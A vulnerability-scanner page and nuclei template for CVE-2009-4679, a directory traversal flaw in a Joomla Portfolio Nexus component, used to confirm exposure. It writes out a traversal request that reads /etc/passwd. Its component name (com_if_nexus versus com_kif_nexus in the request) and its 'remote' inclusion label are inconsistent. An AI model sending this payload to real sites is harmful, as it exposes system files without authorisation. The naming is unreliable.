Joomla! Portfolio Nexus - Remote File Inclusion

highseverity

7.5CVSS score

7.9%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Joomla! Portfolio Nexus 1.5 contains a remote file inclusion vulnerability in the inertialFATE iF (com_if_nexus) component that allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.

Fix

Apply the latest security patches and updates provided by Joomla! to fix the Remote File Inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_kif_nexus&controller=../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2009-4679 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2009-4679

info:
  name: Joomla! Portfolio Nexus - Remote File Inclusion
  author: daffainfo
  severity: high
  description: |
    Joomla! Portfolio Nexus 1.5 contains a remote file inclusion vulnerability in the inertialFATE iF (com_if_nexus) component that allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Apply the latest security patches and updates provided by Joomla! to fix the Remote File Inclusion vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/33440
    - https://nvd.nist.gov/vuln/detail/CVE-2009-4679
    - http://www.exploit-db.com/exploits/10754
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-4679
    cwe-id: CWE-22
    epss-score: 0.07866
    epss-percentile: 0.94745
    cpe: cpe:2.3:a:inertialfate:com_if_nexus:1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: inertialfate
    product: com_if_nexus
  tags: cve2009,cve,joomla,lfi,nexus,edb,inertialfate,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_kif_nexus&controller=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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